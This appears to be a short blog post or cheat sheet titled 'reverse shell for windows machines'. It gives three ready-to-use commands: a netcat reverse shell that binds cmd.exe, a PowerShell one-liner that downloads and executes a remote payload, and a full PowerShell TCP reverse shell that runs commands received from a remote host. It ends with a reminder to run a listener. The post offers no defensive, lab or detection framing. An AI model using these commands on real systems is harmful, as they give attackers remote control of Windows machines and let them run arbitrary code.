2023-01-27

reverse shell for windows machines

Here are some examples of commands that can be used to open reverse shells on a Windows machine:


  • This command uses the nc (netcat) utility to open a reverse shell to the specified IP address and port, using the cmd.exe command shell

nc -e cmd.exe IP PORT


  • This command uses PowerShell to download a payload from a specified IP address and port, which can be used to open a reverse shell.

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://IP:PORT/payload')" 


  • This command uses PowerShell to open a reverse shell, connecting to the specified IP address and port.

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" 


It's important to note that you'll need to have a listener running on your machine to catch the reverse shell and interact with the target machine